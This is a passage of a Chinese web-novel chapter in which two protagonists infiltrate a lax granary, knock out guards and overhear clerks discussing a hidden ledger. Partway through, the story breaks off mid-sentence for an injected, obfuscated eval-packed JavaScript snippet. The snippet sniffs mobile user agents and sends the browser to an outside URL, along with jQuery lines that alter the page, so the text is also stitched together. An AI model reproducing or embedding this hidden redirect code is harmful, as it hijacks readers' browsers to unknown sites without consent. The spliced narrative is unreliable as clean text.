脚步声逐渐清晰,万迎雪和岑云度对视一眼,默契噤声。
来人一前一后,脚步懒散。手中的灯笼摇摇晃晃,照得两人影子在墙上也扭来扭去。
两位仓夫越走越近,交谈声入耳。
走在后面那人,步履虚浮,打着哈欠同前面的人抱怨:“凭什么我们出来巡逻,他们乐得清闲?”
前面的人步子一轻一重,似有些跛脚。他步子沉重,呼吸间透露着疲惫,估计是做了一天的活。他冷哼一声,端起架子训斥道:“你是来干活的还是找清闲的?”说完还不解气,“你整日游手好闲的,好不容易给你找份差事,还这种态度,你对得起你爹娘吗?”
年轻仓夫一噎,撇撇嘴:“舅爷,你倒是说得好听。说是在粮仓当差,他们还真以为你是什么大官,结果就是在粮仓看大门的,连油水都捞不到多少。舅爷,你对得起我爹娘给你的一筐鸡蛋吗?”
“你这孩子怎么说话的!”中年仓夫眼睛一横,抬起胳膊作势要打,却被年轻仓夫躲了过去。
年轻仓夫依旧懒散:“行了舅爷,赶紧巡完我还要去打牌呢。你这么大岁数了,还干一天活,再抻到哪里,我爹娘又得给你一筐鸡蛋。”
他有一搭没一搭地越过中年仓夫,顺手在地上薅了根草,叼嘴里慢悠悠晃走了。
中年仓夫被他甩在身后,叹口气,一瘸一拐地跟上去。
见巡逻走远,两人从阴影中走出。
万迎雪掸掸衣上灰尘,喃喃道:“粮仓守卫这么松懈?”
“仓里又没有粮,守什么?”岑云度淡淡道。
正如那对叔侄说,万迎雪和岑云度一路走来,除了叔侄二人以外,竟然没看见一个守卫。
顺利得万迎雪都有些怀疑了。
她侧头小声道:“老东西不会故意设局等着咱们吧?”
万迎雪微微蹙起眉头,眼中疑惑又警惕,看得岑云度唇角上扬,学着她的样子小声回道:“老东西自身难保,应该不能有诈。”
这一幕刚好被旁边树上的影三看见。
影三的耳力向来灵敏,获取八卦乃是一把好手,殿下影卫队里的八卦都是他传的。
影三无声地撇撇嘴。
‘应该不能有诈’。
肯定不能有诈啊!
老东西白天的时候都被殿下吓成什么样子了,哪里还有胆子使诈?
退一步说,殿下早已安排影卫在粮仓待命,一旦发生混乱,至少也能保护他们成功脱身。
影三摇摇头,目光灼灼,竖起耳朵继续听他家殿下的八卦。
就在影三腹诽的时候,他家殿下已经和万迎雪行至粮仓小门旁。
小门看守抱着胳膊靠在门框上一动不动。
“睡了?”万迎雪疑惑道。
她放轻脚步,走到看守旁边,这人依旧没动。
借着月光,她看清了守卫,顿时满头黑线。
这人的黑眼圈都快到嘴边了,呼噜打得震天响,也不知多久没睡过觉了。
万迎雪一个手刀下去,守卫睡得更深了。
跟在后面的岑云度见她动作干净利落,无声点点头,眼含赞叹,直言她真是个助人为乐的好人。
万迎雪扫了他一眼,研究门锁去了。
木门的红漆已经斑驳,挂着的铜锁更是锈迹斑斑。
她回到看守身边,正准备蹲下身时,岑云度伸手拦住了她。
万迎雪:“?”
岑云度从容蹲下身:“我来。”
影三在树上眼睛都瞪大了,他们殿下什么时候这么会照顾人了?
虽然殿下在皇宫向来是温润如玉的做派,但那是为了明哲保身。
皇帝立储在即,大皇子与三皇子背靠母家势力明争暗斗。
殿下母妃早逝,母家势力在朝堂上也没什么地位,因此两位皇子虽然时不时给他下点绊子,但还不至于水深火热,你死我活。
以往殿下都是多一事不如少一事的,现在竟然主动帮忙了?
影三动了动身子,往前凑了凑。
只见岑云度在看守的身上摸了摸,随后在他的腰间掏出一串铜制钥匙。
黑夜寂静,钥匙叮当撞在一起的声音清晰传进影三耳中。
他看得很清晰,那串钥匙分明是白天从县令那里拿来的!
殿下就这样把钥匙交出去了!?
她就这样接过去了!?
影三一时恍惚,脚步一错,树枝轻轻动了一下。
“哗”地一声。
万迎雪视线猛地扫过来,他心中暗道一声不好。
正巧风起,树枝随风摇曳,沙沙声愈发响亮。
“怎么了?”岑云度随着她的视线看去,远处漆黑的树林枝叶摇动。
影三屏住呼吸,心脏跳动。
她发现了?
完了,这回真是要被影一加训了。
树叶渐渐停止摇动,林中回归寂静。
万迎雪摸索着手里的钥匙,那串钥匙还带着温热。
神色不明。
片刻后,她似有似无地扫过影三藏身的那棵树,瞟了岑云度一眼,说道:“没事,看错了吧。”
钥匙插进铜锁,轻轻转动,锁头应声而开。
万迎雪率先推门进入。
院内空荡,入目是一条石砖铺成的路,右侧是一栋栋粮仓,左侧是一排房屋。
粮仓无人看守,就连灯都没点上。而左侧房屋内,喧嚣声破门而出。
岑云度轻轻关上门,跟着万迎雪一同蹲在窗下。
窗上糊着油纸,厅内的烛火明灭,将屋内人的身影照在窗上。
“胡啦!拿钱拿钱!”一人推牌,声音激动地催促道。
其余人则十分不情愿,有人阴阳怪气道:“老张,你今晚手气真好啊。”
老张一拍桌子:“老李,你这话什么意思!你当我是那个新来的手脚不干净吗?”
老李摸摸鼻子:“别激动啊,我什么也没说嘛。”
其余人连忙来打圆场。
“别急别急,玩个牌,输赢正常。”
“老李,给钱吧,老张没作弊,我们都看见了。”
见剩下两人也不帮自己说话,老李磨磨蹭蹭地从布包里掏出两文钱,扔在老张面前:“给你。”
老张脾气也上来了,当即扔了回去,嘴里骂骂咧咧地拎着衣服摔门而去。
“不玩了!”
余下三人面面相觑。
一人埋怨道:“老张脾气怎么这么大,不就说两句吗?”
老李本来就被老张突然发怒带的情绪也不太好,听见这话,当即有了出气口:“这话怎么不留着当他面说?现在说给我们听有什么用?”
随即,也甩门而去。
剩下一人见两人都走了,牌也打不上了,自觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533889|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无聊,搭话道:“老钱,你这么说话干嘛,有什么意思?”
老钱冷笑一声:“我就看不惯老张那副样子,装得多清高一样,要不是他去监仓官那里检举,我至于沦落成一个库子?”
老孙听见这话有些不耐烦。
什么叫‘沦落’?
要不是他自己偷拿官粮,被人举报,怎么会从县仓大使到库子?
老孙暗自翻了个白眼,拿起旁边的酒壶,给他满上一杯,附和道:“老张这人是有些不合群。”
老钱打牌时就喝了许多,这一口酒下肚,酒意逐渐上头。他大着舌头道:“听说……嗝……席大人,明日就到,到时候……老张他绝对跑不掉。”
老孙疑惑:“席大人和老张有什么关系?”
老钱面色阴狠:“他张老二不是喜欢检举吗?我也让他感受一下!”
“检举什么?”老孙开始还没想明白,突然间想到什么,眼睛猛地睁大,“前两天县令不是派人烧毁入库底册了吗,你怎么还有!”
老钱瞥了他一眼,又给自己灌了一口酒。
窗外,万迎雪看向岑云度,他立即会意,二人躲至角落。
岑云度率先开口:“那人说他还留了一份入库底册,只要拿到册子,县令的罪名就是板上钉钉了。”
万迎雪拧眉:“库子一年可以回家探亲一次,底册他肯定没有带回家去。”
“值守房多人一间,藏那里太过危险,可粮仓这么大,我们该从何找起呢?”
万迎雪正在思索时,半晌没听见岑云度回应,偏头看去,两人四目相对。
万迎雪:“……”
万迎雪:“这样不好吧……”
话虽这么说,眼底却带着一丝兴奋,完全看不出来‘不好’在哪里。
岑云度见她顿时理解了自己的意思,眉眼弯起,又拿出那副书生做派,抱拳垂头温声道:“老大英明。”
万迎雪一乐,活动了下肩膀,与岑云度又悄悄回到窗下。
屋内两人还在喝酒,老张和老李也不知道去了哪里,半天还没回来。
万迎雪一伸手,岑云度适时递上一块石头,她掂了掂,正是趁手。她赞赏地看了他一眼,岑云度微微一笑,深藏功与名。
万迎雪找好方向,手腕一甩,石头脱手而出,直直砸到对面房间的窗户上。
“砰”地一声。
木窗破了个大洞。
巨大的声音当即引起了屋内两人的注意。
老孙站起身,警惕道:“你听到什么声音没?”
老钱脑袋昏昏沉沉,不想多管,摆摆手:“没听见……”
老孙又坐了下去,仔细想了想,还是觉得要去看看,真出什么事就不好了,他嘱咐道:“我先去看看。”
待他一出门,早已埋伏在门口的万迎雪有是一记手刀,老孙眼睛一闭,靠着墙瘫坐下去。
岑云度捋了捋袖口,为万迎雪拉开门。
木门“吱呀”一声,岑云度抬手引她进入厅内。
脚步声起,老钱迷迷糊糊,以为老孙回来了,口齿含糊:“我就说什么事也没有吧,来喝酒……”
话没说完,他就感觉自己脖子上抵了个东西,抬眼看去,吓得他酒意醒了大半。
“好汉饶命,姑奶奶饶命!”
万迎雪招了招手,岑云度一手将人拎起,一手仍然拿东西抵着老钱的喉咙。